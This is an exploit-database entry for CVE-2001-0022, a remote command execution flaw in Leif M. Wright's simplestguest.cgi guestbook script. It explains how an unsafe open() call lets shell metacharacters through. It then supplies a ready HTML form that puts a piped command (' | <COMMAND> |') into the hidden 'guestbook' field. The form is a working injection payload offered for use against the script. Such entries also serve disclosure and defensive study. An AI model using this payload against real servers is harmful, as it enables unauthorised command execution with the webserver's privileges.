Leif M. Wright simplestguest.cgi 2.0 - Remote Command Execution

Author: suid
type: remote
platform: cgi
port: 
date_added: 2000-12-14 
date_updated: 2012-08-14 
verified: 1 
codes: CVE-2001-0022;OSVDB-13120 
tags: 
aliases:  
screenshot_url:  
application_url:

source: https://www.securityfocus.com/bid/2106/info

A vulnerabiliy exists in Leif M. Wright's simplestguest.cgi, a script designed to coordinate guestbook submissions from website visitors.

An insecure call to the open() function leads to a failure to properly filter shell metacharacters from user supplied input. As a result, it is possible for an attacker to cause this script to execute arbitrary shell commands with the privileges of the webserver.

Make a html form similar to:

<form action=/cgi-bin/simplestguest.cgi method=POST>
Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â <input type=hidden name=required value="NAME">
Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â <input type=hidden name=guestbook
Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â value=" | <COMMAND> |">
Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â <input type=hidden name="NAME" value="user">
Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â <input type=submit>
</form>